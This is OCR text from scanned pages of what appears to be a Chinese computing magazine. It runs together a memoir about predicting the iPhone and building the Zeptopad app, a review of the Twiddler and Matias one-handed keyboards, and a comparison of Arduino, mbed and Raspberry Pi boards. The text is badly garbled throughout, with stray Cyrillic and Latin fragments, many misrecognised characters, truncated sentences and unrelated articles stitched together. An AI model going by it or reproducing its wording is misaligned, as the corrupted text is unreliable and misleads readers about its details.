ВАГА 

记得 当时 我 做 出 的 预测 是 : 五 年 后 ， 电 脑 
将 实现 多 点 触 控 了 ， 作 为 电脑 的 延展 ， 手 机 也 
将 成 为 全 屏幕 多 点 触 控 。 而 且 顺 应 这 个 漳 流 ， 
开发 适合 多 点 触 控 的 新 操作 系统 ， 也 将 成 为 时 
代 的 必然 。 我 之 所 以 特别 加 上 这 一 点 ， 是 因为 
当时 还 没有 能 够 完美 地 适应 多 点 触 控 的 操作 
系统 。 

我 把 这 样 的 预测 写 和 人 了 提交 给 客户 的 报告 
F, 客户 看 了 非常 满意 ， 给 了 我 们 很 好 的 评价 。 
只 是 在 最 终 阶 段 , 我 的 预测 被 认为 缺乏 现实 性 ， 
而 未 被 采纳 ， 真 的 是 有 点 可 惜 。 在 这 份 报告 中 ， 
我 们 还 预测 了 将 会 有 眼镜 式 可 穿 带 式 终端 出 现 。 

虽说 结果 有 些 可 惜 ， 但 真正 让 我 大 吃 一 慰 
的 是 发 生 在 几 个 月 后 的 事情 。 那 一 天 ， 我 看 着 
电脑 屏 亲 ,不 由 地 叫 了 起 来 :“ 哇 ， 整 整 领先 
业界 五 年 啊 ! ” 令 我 如 此 兴奋 的 这 件 事 就 是 史 
лү Ж .乔布斯 在 2007 年 的 Macworld Expo 大 会 
上 上 发布 了 著名 的 iPhone。 

iPhone 人 秒 直 就 是 我 之 前 预测 的 五 年 后 的 手 
ДД! 

ыу р» Ж ГИЛЕ Г: Е А 
回 事 啊 ? 你 知道 苹果 公司 的 内 情 ? ”我 吉 突 一 
番 ， 我 哪里 能 够 知道 呢 ! 我 又 不 是 苹 采 公司 的 
员工 。 因 为 在 当时 ， 除 了 乔布斯 和 他 的 手下 ， 
没有 人 相信 凭借 当 时 的 技术 可 以 创造 出 iPhone 




















这 样 划 时 代 的 产品 。 


接触 双方 阵营 的 两 面 人 








于 iPhone 的 各 种 反应 ， 进 行 彻 底 且 全 面 的 预测 。 


到 了 2006 年 未 ， 客 户 正 好 交 给 了 我 一 个 


洛 户 很 快 就 下 达 了 新 的 任务 : ВЕЗЕ ЛЇП 







ES 





和 我 们 接触 的 好 几 家 客户 公司 都 非常 想 知 
道 该 如 何 和 iPhone 对 抗 。 

由 此 ,我 便 立 志 成 为 最 了 解 iPhone 的 人 ， 
开始 彻底 地 研究 。 我 走 思 世界 ， 访 问 了 各 种 权 
威 人 物 ， 并 编写 成 调查 报告 。 这 些 调查 人 研究 费 
用 基本 上 由 客户 公司 全 额 提 供 。 在 这 个 研究 过 
程 中 ,我 们 还 制作 了 一 个 小 巧 而 有 趣 的 应 用 ， 
是 给 越狱 之 后 的 iPod 使 用 的 ， 算是 一 个 有 趣 的 
ааа 

与 此 同时 ， 我 们 也 接 到 了 来 自 苹 果 公 司 的 
邀请 。 原 来 ， 我 们 在 YouTube 上 发 表 的 丘 乓 球 
游戏 被 苹果 公司 的 人 注意 到 了 。 于 是 ， 我 们 成 
为 了 笠 采 的 第 三 方 协作 公司 ， 可 以 得 到 有 关 开 
发 的 种 种 信息 文 持 。 

这 样 ， 我 们 成 了 同时 接触 双方 阵营 的 “两 
ШЛ”, 一 边 和 苹果 协作 开发 应 用 ,一 边 还 承 
担 着 “把 苹果 视 为 假想 敌 ， 寻 找 可 以 击破 它 的 
弱点 ”的 任务 (当然 我 们 一 直 坚 守 商 业 道 德 ， 
从 未 违背 NDA 中 所 规定 的 内 容 )。 

通过 作为 苹果 的 第 三 方 协作 公司 所 得 到 的 
开发 信息 ,我 们 得 以 彻底 地 比较 了 iPhone 和 
其 他 操作 系统 的 差异 ， 并 列 出 了 详细 的 条 目 。 
iPhone 的 操作 系统 在 好 几 个 方面 都 非常 强大 ， 
和 那些 临时 拼凑 的 系统 完全 不 同 ，iPhone 的 操 
作 系 统 很 好 地 继承 了 Mac OS 久 经 考验 的 设计 
思想 。 尤 其 是 以 Core Animation 为 代表 的 技术 、 
实现 了 动画 的 美感 的 技术 ,以 及 集 秀 的 字体 ， 
iPhone 在 这 些 方 面 都 表现 得 出 类 拔 茶 ， 远 远 胜 
过 别 的 操作 系统 。 

那些 拼 拼 凑 凑 ， 未 经 过 深思 熟 虑 和 多 重 考 
验 的 手机 解决 方案 ， 至 少 在 完成 度 上 ， 是 无 法 
和 苹果 对 抗 的 。 包 括 当 时 只 有 B 版 的 Android 
系统 在 内 ,世界 上 没有 任何 一 个 操作 系统 可 以 
和 iPhone 的 操作 系统 对 抗 ， 这 就 是 我 们 当时 得 
出 的 结论 。 


























客户 看 完了 我 们 的 这 份 报告 后 ， 神 情 严 党 
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enchant ~ 激发 创造 力 的 魔法 ~ 








使 用 越狱 的 iPod 玩 近 蔷 减 开 上 友 的 多 人 对 战 乒 兵 球 游 
戏 : http://www.youtube.com/watch?v=3LdpmxHE7VU 





试验 中 的 多 点 触 控 屏 





地 望 看 我 说 :“ 情 况 确实 如 您 所 言 ， 可 惜 我 们 
的 现状 是 既 没 有 时 间 从 头 创 造 操 作 系统 ， 也 没 
有 这 方面 的 资源 。” 

随 肴 多 数 的 客户 公司 决定 采用 Android 或 
者 Windows 玉 对 抗 iPhone, 我 们 的 报告 也 淡出 
了 大 家 的 视线 。 





22-0000) 








为 了 收集 iPhone 的 相关 信息 ， 我 感到 尽快 
收集 海外 的 信息 是 非常 必要 的 。 同 时 ， 从 公司 
WEARER H, RIEA AH AKAN iPhone 
НУЛУ Н AN TAEAE У АЈ iPhone 应 
MHRA, RIE m ЖЕННИ Э АУ 
市 场 动态 。 为 此 ， 我 们 很 希望 得 到 那些 鲜 活 的 

言 息 。 

为 了 真切 地 了 解 瑞 霹 圈 的 人 们 平时 都 看 些 
什么 样 的 新 闻 ， 以 及 他 们 平常 都 关心 和 思考 些 
ТА, RARER “Жа е R Н, 
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ы ч 
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日 译 天 的 工作 。 这 个 部 门 的 名 称 就 叫 作 “战略 
信息 组 ”， 人 简称 SIG。 

н AAKER n ЕЕ 7 816 Т. 
作 ， 而 是 聘用 了 多 名 兼职 的 大 学 生 ， 因 为 我 觉 
得 这 样 可 以 得 到 更 加 多 种 多 样 的 信息 。20 名 左 
有 四 相遇 大全 下 
下 午 一 人 ， 工 作 就 是 翻译 海外 的 日 党 新 闻 。 

这 些 兼 职 的 大 学 生 中 有 一 位 特别 引 人 注 目 ， 
她 就 是 过 秀美 。 

在 UEI 公 司 的 各 种 试验 中 ， 她 的 表现 都 很 
优异 。 她 的 翻译 质量 优秀 ， 而 且 译文 非常 有 趣 。 
ЛУ 22, ЛЕУ, Лор] 
事 们 聊天 。 

ШУ ГЛАН ВЕНА, el ВА 
学 了 。 正 好 此 时 ，iPhone 在 日 本 开始 销售 了 ， 
App Store 也 正式 上 线 , 整个 日 本 开始 为 之 狗 狂 。 

为 了 尽快 掌握 海外 iPhone 市 场 的 动 癌 ， 我 
决定 去 参展 在 巴黎 举办 的 AppleExpo。 这 是 我 
们 UEI 公 司 第 一 次 单独 参展 ， 而 且 公 司 里 面 精 
通 英 语 的 人 才 不 够 。 这 时 ， 我 突然 想到 了 正好 
在 欧洲 留学 的 坟 秀 美 。 

和 和 在 目 本 的 时 候 完 全 不 同 ,， 73 5. 217 
成 了 一 个 侃侃 而 谈 的 人 人 了。 在 她 的 帮助 下 ， 我 
们 在 巴黎 的 参展 顺利 完成 。 半 年 后 ， 苹 采 在 美 
国 本 土 的 旧金山 举行 了 Macworld Expo, 我 又 
一 次 把 远 在 英国 的 过 召唤 了 回来 。 


О, Whiteboard іп your pocket 


Zeptopad ERM HEHA Ня, Ж 
于 记事 本 类 的 应 用 。Zeptopad 别 具 一 格 的 地 方 
在 于 可 以 通过 两 根 手 指 目 由 地 进行 扩大 、 旋 转 、 
缩小 的 操作 ， 而 且 还 能 操作 滚动 条 。 用 户 只 需 
通过 手指 ， 就 可 以 方便 地 俯 膨 全 局 ,或 者 将 细 
微 之 处 放大 观察 ， 就 如 同 观看 一 张 巨大 的 图 纸 
二 

对 于 这 个 应 用 ， 该 如 何 用 一 句 宣 传 语 来 概 
后 说明 呢 ? 一 开始 还 其 把 我 们 难 住 了 。 我 们 劳 
































力 向 参观 者 介绍 ， 可 还 是 难以 达到 气息 相通 的 
感觉 。 正 当 我 们 着 急 的 时 候 ， 突 然 听 到 一 位 参 
观 者 僻 有 兴趣 地 说 :“ 这 个 应 用 ， 就 是 小 白板 
IE? ”真是 一 语 司 醒 梦 中 人 啊 ， 我 们 悦 然 大 悟 ， 
原来 如 此 ! 

НАГ 2730, ОКШ 
ВЈ т Н 1н АЁ а В С А ЗК 
致意 ， 然 后 站 在 我 们 的 展台 前 面 ， 向 穿行 的 参 
观 者 们 打 起 了 招呼 。 

人 

“很 喜欢 啊 ! ”居然 有 人 回应 了 ,而 且 好 
奇 地 停 下 了 脚步 。 

“不 管 您 多 么 喜欢 自 板 ， 您 可 以 把 它 放 到 
па +17? ” 

ERWE, ИЕ Е РЕ Л 
仔裤 的 口袋 里 ， 引 得 大 家 哈哈 大 笑 。 

“不 过 ， 如 果 您 有 了 这 款 应 用 ,那么 就 可 
以 和 心爱 的 白板 永远 在 一 起 啦 ! ” 

“Whiteboard in your pocket” 这 个 宣传 语 ， 
MXF HEE T o 

也 不 知道 是 否 和 这 个 宣传 语 有 关 ， 我 们 的 





























应 用 Zeptopad 在 北美 销售 得 非常 火爆 。 


Орел: 








这 次 参展 结束 后 没 多 入， 过 秀 类 的 留学 生 
活 也 结束 了 。 她 回 到 东 系 后 立刻 恢复 了 在 UEI 
WERTE АПШЕ TNE, 
那 就 是 喜欢 和 同事 交往 了 ， 大 家 在 一 起 说 说 舌 
R, 气氛 非 第 融洽 。 

有 一 天 ， 过 秀美 跟 我 说 有 比较 重要 的 事情 
想 和 我 谈 。 因 为 这 是 她 头 一 次 主动 找 我 谈 事情 ， 
所 以 我 就 非常 认真 地 听 她 说 了 。 

过 秀美 说 教授 帮 她 介绍 了 一 个 高 中 老师 的 
工作 。 做 老师 一 直 是 她 的 梦想 ， 只 是 目前 还 只 
PEH HIRAI, Hre HRE RA RHR 
是 否 还 可 以 来 继续 莱 职 。 








“是 这 样 啊 ， 插 好 的 。” 我 礼貌 性 地 回答 了 





ы 


, ш 
ЕУ — 3 ЛЕУ 89011353 EERE 
山 的 街头 宣传 我 们 的 产品 





一 句 。 接 着 正 准备 说 :“ 继 续 兼 职 , 当然 可 以 啦 ! ” 
可 是 话 到 嘴 边 ,我 又 咽 了 下 去 。 

寺 秀 美 如 采 一 边 担 当 兼 课 老 师 ， 一 边 兼 职 
我 们 UEI 的 工作 ， 这 样 一 心 两 用 的 话 ， 对 她 的 
前 途 真 的 好 吗 ? 

我 在 心中 细 细 思量 ,然后 说 :“ 两 边 同 时 
做 的 话 ， 可 能 两 边 都 做 不 好 啊 。 我 觉得 你 应 该 
к= 

接着 ， 我 继续 说 。 

“ЛФ АМА, ВЕНЕ Е, 
充其量 一 年 也 就 300 人， 工作 30 年 ,一共 9000 
人 ,你 会 对 这 9000 个 学 生 的 人 生产 生 影 啊 。 
而 如 果 你 全 力 投 入 软件 行业 的 话 ， 那 么 可 以 影 
响 到 的 人 将 是 当 老 师 的 数 百 倍 、 数 千 倍 。 请 加 
入 我 们 吧 ， 我 们 可 以 让 你 领略 到 当 老 师 所 看 不 
到 的 景色 。 

我 向 过 秀美 提出 了 在 UEI 全 职工 作 的 的 正 
式 邀 请 。 

直 秀 美 是 位 内 回 的 姑娘 ， 她 是 否 可 以 放弃 
已 经 内 定 的 老师 工作 ， 并 日 愿意 来 到 UEI 全 职 
ТЕЗЕ, АЕ Л 1А лч: 
秀美 有 着 UEI 所 需要 的 能 力 和 素质 ， 实 在 舍 不 
得 她 离开 。 

几 天 之 后 ， 坟 秀美 作出 选择 好 充 判 末 
内 定 的 老师 的 工作 ， 并 表示 愿意 加 入 UEI。 
































爱 它 不 需要 理由 
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单 手 也 能 输入 


Twiddler & 
Matias Half Keyboard 





引子 


这 次 我 们 将 回 大 家 介绍 可 
以 单 手 操作 的 键盘 Twiddler 以 
及 Matias HalfKeyboard。 虽 然 
它们 都 有 着 很 特别 的 形状 ， 但 
并 不 需要 特别 的 软件 驱动 ， 操 
作 系 统 可 以 直接 将 它们 识别 为 
普通 的 键盘 。 





Twiddler 2.1 


Twit er21 是 由 TelG ear. 
Inc 公 司 人 研发 并 销售 的 一 球 单 
FER. 


该 球 键 盘 有 下 面 这 些 特点 。 





。 左 右手 都 可 使 用 
。 配 备 了 鼠标 的 功能 


使 用 键盘 附 市 的 手 市 ， 可 
以 将 手 固定 住 ( 照 片 1)。 这 个 
手 带 也 可 以 取 下 ， 可 以 左右 手 
交 蔡 使 用 。 文 字 输 入 也 并 不 困 
难 。 键 盘 前 方 共 有 3x4， 共 








12 个 按钮 (照片 2 )， 通 过 它们 
之 间 的 组 合 来 进行 输入 。 不 进 
行 任何 组 合 ， 直 接 按 下 按键 的 
话 ， 可 以 直接 输入 按键 上 印刷 
的 字母 。 在 进行 组 合 输入 的 时 
候 ， 首 先 按 住 最 上 方 的 任意 一 
个 按键 不 松 开 ， 然 后 再 按 下 下 
方 的 按键 即 可 。 最 上 方 的 按键 
分 别 表 示 红 、 绿 、 蓝 三 种 颜色 ， 
下 方 按键 的 旁边 印 有 这 三 种 颜 
色 的 字母 ， 根 据 被 按 下 的 最 上 
方 的 按键 所 表示 的 颜色 ， 可 输 
入 相应 颜色 的 字母 。 例 如 ， 同 
时 按 下 按键 入 (绿色 ) 和 按键 
B 就 可 以 输入 “加 ”。 

Сп), (Аі), hift 这 样 的 功 
能 键 被 放置 在 了 键盘 的 背面 ( 照 
片 3 )。 























图 片 2 Twiddler 2.1 正 面 的 按钮 


图 片 1 Twiddler 2.1 





Twiddler 同时 也 配 有 上 鼠标 
的 功能 。 触 控 杆 在 设备 的 背面 ， 
通过 触 碰 它 ， 就 可 以 移动 鼠标 
НЕГ РАКЕЛ, min A 
进入 鼠标 模式 。 在 鼠标 模式 下 ， 
设备 前 面 最 上 方 的 三 个 按键 ， 
分 别 相当 于 鼠标 右键 、 鼠 标 中 
键 以 及 鼠标 左 键 。 可 惜 的 是 ， 
并 没有 滚轮 的 功能 。 

Twiddler 配 备 了 一 定 的 编 
程 功能 ， 可 以 自由 地 设 定 按键 
映射 以 及 鼠标 加 速度 。 编 程 功 
能 还 有 一 些 特别 。 在 保持 按 下 
任意 按钮 的 情况 下 ， 将 键盘 捅 
入 PC 后 ，Twiddler 将 被 识别 为 
USB 存 储 设备 。 通 过 在 该 存储 
中 放置 使 用 专门 工具 生成 的 配 
置 文件 ， 可 以 进行 按键 映射 等 











图 片 3 Twiddler 2.1 (#51) 











vol.5 Twiddler & Matias Half Keyboard 





1 Twiddler 2.1 的 配置 工具 


的 修改 (图 1)。 

除了 配置 工具 外 ，Twiddler 
中 还 配备 了 学 习 按 键 操作 的 练 
JERE) Ш.Н. 
都 是 采用 Java 开 发 的 ， 所 以 在 
任何 操作 系统 下 都 可 以 使 用 。 

另外 , 在 Twiddler 的 Twitter 
账号 (@Handkey ) 里 可 以 看 
到 ，Twiddler 3 的 研发 也 在 计 
划 中 。Twiddler 3 好 像 将 要 变 
成 一 款 采 用 Bluetooth 技 术 的 


Ө 购买 方法 


在 Twiddler 的 网 站 点 击 Buy 
Now， 就 会 进入 相应 的 网 购 站 
点 价格 是 19 美元 。 根 据 
站 点 的 说 明 ， 现 在 也 可 以 邮寄 
到 中 国 了 。 笔 者 是 通过 代购 购 
人 人 的。 在 中 国境 内 好 像 还 没有 
出 售 该 球 键 盘 的 代理 店 。 


Matias Half 
Keyboard 








Matias Half Keyboard 是 
Matias Үн] Ж H аа. Р 
(74), 





ла РА, 
它 有 如 下 特点 。 


。 外 形 如 半 个 Qwerty 键盘 
。 通 过 与 键 组 合 进 
行 输入 


И ЈУРЕ ERE 
通 的 Qwerty 键盘 的 左 半 部 分 。 
基本 上 来 说 ， 输 入 主要 采用 与 
键 组 合 的 方式 。 在 不 按 
PF 键 的 情况 下 进行 输入 
的 时 候 ， 将 会 直接 输入 键盘 上 
印刷 的 字母 。 在 按 下 键 
的 同时 进行 输入 的 话 ， 则 会 输 
入 普通 Qwerty 键盘 的 右 半 边 
的 字母 。 

另外 , 键盘 的 右上 角 有 
一 个 可 以 更 换 键 盘 模 式 的 A-Z 
键 。 通 过 多 次 按 下 这 个 按键 ， 
可 以 在 键盘 的 多 个 模式 中 进行 
切换 。 按 一 次 将 进入 普通 的 按 
刍 输 入 模式 。 按 两 次 将 进入 数 
字 输 入 模式 。 按 三 次 将 进入 可 
以 输入 方向 键 加 四 白 忆 的 模 


D Linux 系 统 下 当然 也 没 问 题 。 
(3) http://www.handykey.com 
(4) http://www.matias.ca/halfkeyboard/ 





© http://www.frogpad.com/ 


О 配置 工具 可 以 在 http://handykey.com/support.html 下 载 。 


© 由 于 需要 提前 一 年 预定 ， 所 以 要 做 好 长 时 间 等 待 的 准备 。 





图 片 4 


式 。 按 四 次 则 可 以 输入 功能 
键 。 在 想 要 输入 符号 的 时 候 ， 
内需 按 两 次 键 ， 之 后 就 可 
以 输入 按键 上 所 印刷 的 相应 符 
号 了 。 在 http://www.matias.ca/ 
halfk yboard d то 可 以 看 到 官 
方 的 输入 例子 。 

符号 和 功能 键 的 输入 多 少 
ха у, (Н НАЧ 
字母 的 输入 还 是 十 分 简单 的 。 


е 购买 方法 


该 敌 键 盘 可 以 在 Matias 公 
司 的 网 站 “购买 。 可 以 使 用 信 
ДЕЧ, 也 可 以 邮寄 至 中 国 。 
价格 高 达 595 美 元 。 偶 尔 也 可 
以 在 eBay 这 样 的 拍卖 网 站 看 
到 。 拍 卖 网 站 的 价格 各 不 相同 ， 
不 过 大 部 分 都 在 300 美 元 左右 。 


S + + 


除了 以 上 两 样 产品 外 ， 
单 手 键盘 还 有 许多 不 同 的 类 
型 。 例 如 FrogPad 和 Maltron 
的 单 手 键盘 也 十 分 有 名 。 特 
别 是 FrogPad， 除 了 USB 接 口 
的 版 本 ,还 有 Bluetooth 的 版 
本 ， 有 很 高 的 人 气 。 现 在 虽然 
FrogPad 没 有 在 出 售 新 商品 ， 
但 是 FrogPad2 下 Е Pre-Order 
中 “。 感 兴趣 的 朋友 可 以 自行 
访问 FrogPad 的 网 站 È, 








Matias Half Keyboard 
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协助 : switch science 173 8% =] http://www.switch-science.com/ 


近期 有 很 多 人 问 到 Arduino #1 тБеа, PI 
及 与 Raspberry Pi 之 间 的 差别 。 虽 然 这 个 连载 
在 开始 后 也 不 断 地 介绍 了 Arduino、Netduino、 
mbed 等 微型 计算 机 主板 的 相关 知识 ,但 现状 
和 当时 有 一 些 变化 ,所 以 我 们 还 是 从 头 看 一 
PIE, 

这 里 我 们 将 市 场 上 现 有 的 微型 计算 机 主板 
粗略 地 分 为 三 种 ，@8 位 微型 计算 机 的 主板 、 
信 32 位 微型 计算 机 的 主板 、 全 运行 Unix WE 
板 。 接 下 来 我 们 将 依次 了 解 一 下 这 三 个 分 类 以 
及 分 别 属于 他 们 的 控制 平台 。 


首先 从 @ 8 位 微型 计算 机 的 主板 开始 介绍 。 
说 到 8 位 微型 计算 机 的 主板 ,， 最 有 名 的 应 该 当 
属 Ardi по (照片 1) 了 。Ardi no 搭载 了 Atmel 
公司 的 AVR 系 列 的 8 位 处 理 器 。 当 然 , 在 
Ardi no 出 现 之 前 就 已 经 有 大 量 的 微型 计算 机 
主板 面世 了 。 当 时 Ardi no 的 创始 人 Massimo 
Banzi 负 责 把 设计 和 技术 融合 在 一 起 的 交互 设 
计 的 教学 ， 由 于 发 现 没 有 什么 工具 可 以 简单 地 
制作 出 原型 ， 于 是 就 自己 打造 了 Arduino。 




















GD http://www.arduino.cc/ 








Arduino 的 特点 是 ， 加 从 前 没有 使 用 过 微 
型 计算 机 主板 的 人 传递 了 微型 计算 机 主板 的 
概念 。 

Arduino 使 用 专门 的 开发 环境 进行 开发 。 
IDE 也 被 叫 为 “Arduino”, 但 这 样 比较 容易 引 
起 混 消 ， 所 以 本 连载 中 就 称 IDE 为 “Arduino 
ШЕ”. 官方 网 站 上 提供 了 可 在 Windows、 
Mac、Linux 下 运行 的 Arduino IDE 的 二 进 制 文 
Е, 并 且 是 一 个 开源 软件 。Arduino IDE 的 编 
译 需 使 用 了 avr-gcc， 用 户 界 面部 分 是 用 Java 
实现 的 。 使 用 gcc 编 译 而 成 的 二 进 制 文件 ， 经 
由 UART( 或 者 称 为 串 行 传输 ) 从 电脑 传送 到 主 
板 上 。 

使 用 Ardi no 最 大 的 便利 之 处 是 社区 的 庞 
大 。 本 杂志 的 读者 可 能 不 太 担 心 编码 的 事 ,， 但 
大 部 分 的 人 可 能 还 不 太 熟 悉 人 硬件 。 这 些 人 在 使 











а 1 


{TE Arduino 上 连接 了 液晶 屏 的 例子 








用 微型 计算 机 驱动 发 动机 时 ， 使 用 Ardi no 是 
最 容易 通过 Web 搜索 来 收集 信息 的 了 。 而 且 日 





文 的 信息 也 很 多 ， 对 于 阅读 英语 有 困难 的 人 来 
说 很 有 亲和力 。 还 有 它 也 是 相关 书籍 最 多 的 主板 。 

相反 ，Arduino 的 缺点 就 是 8 位 。 到 底 是 一 
个 古老 的 8 位 架构 ， 内 存 也 不 太 充 足 ，TCP/IP 
也 不 是 原生 能 使 用 的 ，USB 接口 等 也 需要 通过 
使 用 被 称 为 sheild 的 扩展 板 来 实现 。 虽 然 大 部 
分 的 事情 都 能 处 理 ， 但 想 要 操作 如 今 的 以 太 网 
和 USB 接 口 的 时 候 ， 就 会 感受 到 Arduino 的 不 
足 。 但 男 一 方面 ， 如 果 只 是 做 一 个 小 东西 的 话 ， 
8 位 的 微型 计算 机 的 处 理 能 力也 足够 了 。 

另外 ，Arduino 中 输入 输出 电压 的 主流 是 
5V。 最 近 的 传 感 带 的 电压 很 多 都 是 3.3V， 如 
果 要 和 Arduino 连接 的 话 ， 就 需要 转换 到 3.3V， 
偶尔 会 觉得 有 点 麻烦 ， 并 且 Arduino IDE 没 有 
调试 功能 ; 耕 要 调试 的 话 ， 就 需要 使 用 printf 
通过 串 行 通信 和 输出 字符 串 来 完成 。 

虽然 现在 已 经 有 使 用 32 位 处 理 器 ， 文 持 
3.3V 电 压 的 Arduino DUE 面 世 了 ， 可 是 目前 还 
没有 普及 开 来 ， 所 以 还 是 经 常会 感受 到 上 述 几 
点 不 便 。 

顺便 提 一 下 ， 在 8 位 的 微型 计算 机 中 ， 现 
在 用 户 较 多 的 还 有 Microchip Technology 公司 
出 品 的 PIC 系 列 。 由 于 PIC 能 做 的 事 AVR 几乎 
都 能 实现 ， 所 以 笔者 没有 使 用 过 PIC。 





























接着 介绍 一 下 全 32 位 微型 计算 机 的 主板 。 





32 位 微型 计算 机 里 用 户 最 多 的 应 该 是 mbed2 (HE 
片 2 )。mbed 最 近 升 级 到 了 mbed 2.0, 它 是 由 和 售 


(2) http://mbed.org/ 





卖 CPU 设计 图 给 半导体 制造 商 的 ARM 推 进 的 
项 目 。Chris Styles 在 进入 ARM 工 作 前 ， 就 已 
经 开始 摸索 “让 学 生 能 使 用 微型 计算 机 的 方法 ”。 
后 来 Chris 开始 在 ARM 工 作 ， 并 在 公司 内 成 功 
找到 了 合作 者 ， 完 成 了 mbed 的 人 研发 。 

mbed 的 特征 无 疑 是 能 使 用 Web 浏 览 句 进 
行 开 发 工作 。 只 需 把 编译 完成 的 二 进 制 文件 ， 
拖 放 到 在 电脑 上 显示 为 USB Flash 的 mbed tF, 
就 完成 了 写 人 工作 。 这 个 Web 服 务 (一 般 称 为 
在 线 编译 硕 ) 使 用 了 名 为 RVDS 4.1 的 能 生成 
高 效 二 进 制 文件 的 昂贵 的 编译 需 。 比 起 使 用 
ARM 的 gcc 生 成 的 二 进 制 文件 , 通过 RVDS 4.1 
生成 的 二 进 制 文件 更 小 ， 运 行 速度 也 更 快 。 

mbed 的 网 站 结合 了 SNS 类 型 的 用 户 社 区 
功能 ， 可 以 方便 地 把 其 他 人 写 的 代码 和 库 导 入 
自己 的 IDE 中 ,并且 在 线 编译 器 还 带 有 版 本 管 
理 功能 。 使 用 社区 功能 公开 自己 编写 的 代码 
后 ， 可 能 就 会 有 别 的 用 户 一 起 参与 进来 。 要 说 
这 个 社区 的 不 足 之 处 ， 那 就 是 虽然 能 找到 不 少 
正在 进行 有 趣 项 目的 日 本 人 ， 但 日 语文 档 仍然 
比较 少 。 话 虽 如 此 , 在 日 本 mbeb 的 用 户 社区 
还 是 比较 活跃 的 ， 偶 尔 还 会 举办 mbed 大 会 这 

















vH R2 通过 mbpbed 进 行 HTTP 通 信 并 显示 到 液 
晶 屏 的 例子 
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样 的 线 下 活动 。 同 样 Arduino 也 有 类 似 的 活动 ， 
但 差异 在 于 作为 ARM 和 mbed 的 主要 合作 方 的 
NXP 日 本 法 人 也 都 会 参加 mbed 大 会 。 

笔者 开始 使 用 mbed 的 契机 ， 就 是 因为 想 
快 点 连 上 TCP/PP 了 网 络 。 mbed 虽 然 比 Arduino 贵 ， 
但 比 起 配 齐 Arduino 和 以 太 网 扩展 板 ， 价 格 还 
是 要 便宜 一 些 ， 性 能 也 更 好 。 比 如 在 为 了 实现 








HTTP 通 信 而 分 配 数组 等 的 时 候 ，Arduino 就 会 
为 内 存 比较 小 而 比较 琼 手 ， 而 mbed 相 比较 
来 说 就 稍微 宽裕 一 些 。 

mbed 的 输入 输出 电压 都 是 3.3V。 在 介绍 
Arduino 的 部 分 中 已 经 写 到 ， 最 近 的 传感器 等 
设备 大 部 分 都 是 3.3V， 所 以 在 使 用 mbed 的 情 
况 下 ， 就 不 需要 像 Arduino 那 样 使 用 大 量 的 周 
边 零 件 ， 也 能 很 方便 地 连接 设备 。 

虽然 在 在 线 编译 器 尚未 实现 调试 功能 ， 但 
可 以 使 用 名 为 MDK-ARM 的 线 下 工具 (安装 在 
电脑 上 的 开发 环境 ) 来 进行 调试 。 另 外 还 可 以 
设 定单 步 执 行 和 断 点 等 ， 并 且 可 以 查看 寄存 央 
的 值 。 不 习惯 使 用 微型 计算 机 的 人 可 以 方便 地 
使 用 在 线 编译 器 ， 追 求 更 多 功能 的 人 可 以 使 用 
离线 编译 器 ， 可 供 选 择 的 范围 大 也 是 它 的 一 大 
魅力 。 

笔者 个 人 非常 喜欢 mbed， 甚 至 会 去 上 面 
提 到 的 mbed 大 会 帮忙 ， 几 乎 想不到 mbed 的 缺 
点 。 如 果 一 定 要 提 一 个 的 话 ， 就 是 mbed 不 能 
像 下 面 介 绍 的 运行 Unix 的 微型 计算 机 那样 轻 
松 地 使 用 脚本 语言 进行 开发 。 

除 mbed 外 ，Netduino 也 属于 这 一 类 。 
Netduino 可 以 使 用 Visual Studio 和 C# 开 发 ， 同 
时 也 提供 了 调试 功能 。 但 从 日 本 国内 的 用 户 数 
来 看 ， 普 及 度 尚 不 如 mbed。 











Raspberry Pi 


最 后 介绍 @ 运 行 Unix 的 主板 。Raspberry 
Рі (照片 3 ) 也 如 mbed 一 样 搭载 了 32 位 微型 
计算 机 。 Raspberry Pi 和 mbed 的 CPU 的 最 大 
区 别 在 于 是 否 有 MMU (内 存 管理 单元 )。 如 今 
的 Unix 的 内 核 都 是 以 MMU 的 存在 为 前 提 的 ， 
Linux 只 能 在 有 MMU 的 Raspberry Pi 类 型 的 主 
板 上 运行 (虽然 也 有 能 在 没有 MMU 的 环境 下 
运行 的 Linux 实 现 方法 ， 但 那 种 情况 较为 复杂 ， 
这 里 就 不 再 介绍 了 )。 

Raspberry Pi 是 树 每 派 基 金 会 HJ Eben 
Upton 在 剑桥 大 学 执教 时 制作 的 。 当 时 Eben 
Upton 感 觉 到 希望 从 事 计 算 机 科学 的 高 中 生 在 
逐渐 减少 ， 并 且 学 生 入 学 时 的 能 力也 有 所 下 降 ， 
就 希望 日 己 制作 一 个 低 价 的 能 帮助 学 生 学 习 编 
程 的 电脑 ， 于 是 就 制作 了 Raspberry Рі. 

由 于 运行 的 Unix 是 本 杂志 的 读者 很 熟悉 的 
环境 ， 所 以 开发 也 很 方便 。 在 Raspberry Pi 上 
既 可 以 使 用 Python、Ruby 开 发 ， 也 可 以 使 用 
shell 脚 本 或 C/C++ 进行 开发 。Arduino 和 mbed 
上 的 VO 操作 也 可 以 通过 Linux 的 磁盘 文件 进 
行 。 解 释 器 和 编译 器 可 以 根据 自己 的 喜好 选择 


























(3) http://www.raspberrypi.org/ 


уна 3 通过 Raspberry Pi 使 LED 闪烁 的 例子 








合适 的 类 型 ， 而 且 不 用 考虑 Unix 所 需要 的 库 、 
USB 和 TCP/IP 协 议 栈 等 。 

Raspberry Pi 的 面世 也 是 最 近 的 事 ， 所 以 
关于 连接 Raspberry Pi 的 传感器 等 设备 的 信息 
还 比较 少 。 对 电子 工作 的 初学 者 来 说 ， 使 用 
Raspberry Pi 的 硬件 应 该 是 至 今 所 介绍 到 的 内 
容 中 难度 最 高 的 。Raspberry Pi 方面 也 存在 相 
关 的 中 文 论坛 ”及 人 门 书 ， 有 兴趣 的 读者 可 以 
参考 。 

Raspberry Pi 的 输入 输出 电压 也 是 3.3V， 
与 mbed 一 样 可 直接 连接 的 设备 有 很 多 。 但 和 
前 面 两 种 主板 不 同 的 是 ，Raspberry Pi 没有 模 
拟 信 号 输入 ， 因 此 当 需 要 使 用 模拟 传感器 ( 通 
过 电压 的 大 小 返回 检测 结果 的 类 型 ) 来 读 取 电 
压 的 时 候 ， 就 需要 在 Raspberry PE 上 连接 AD 
转换 器 这 样 的 设备 。 

在 笔者 看 来 ，Raspberry Pi 的 缺点 是 主板 
较 大 、 电 力 消耗 较 大 和 制作 兼容 机 的 难度 较 大 。 
但 是 这 些 在 电子 工作 的 入 门 阶段 都 不 是 大 问题 。 








Бу 2 


Ал; 





关于 这 些 主板 的 不 同 ， 每 个 人 可 能 部会 有 
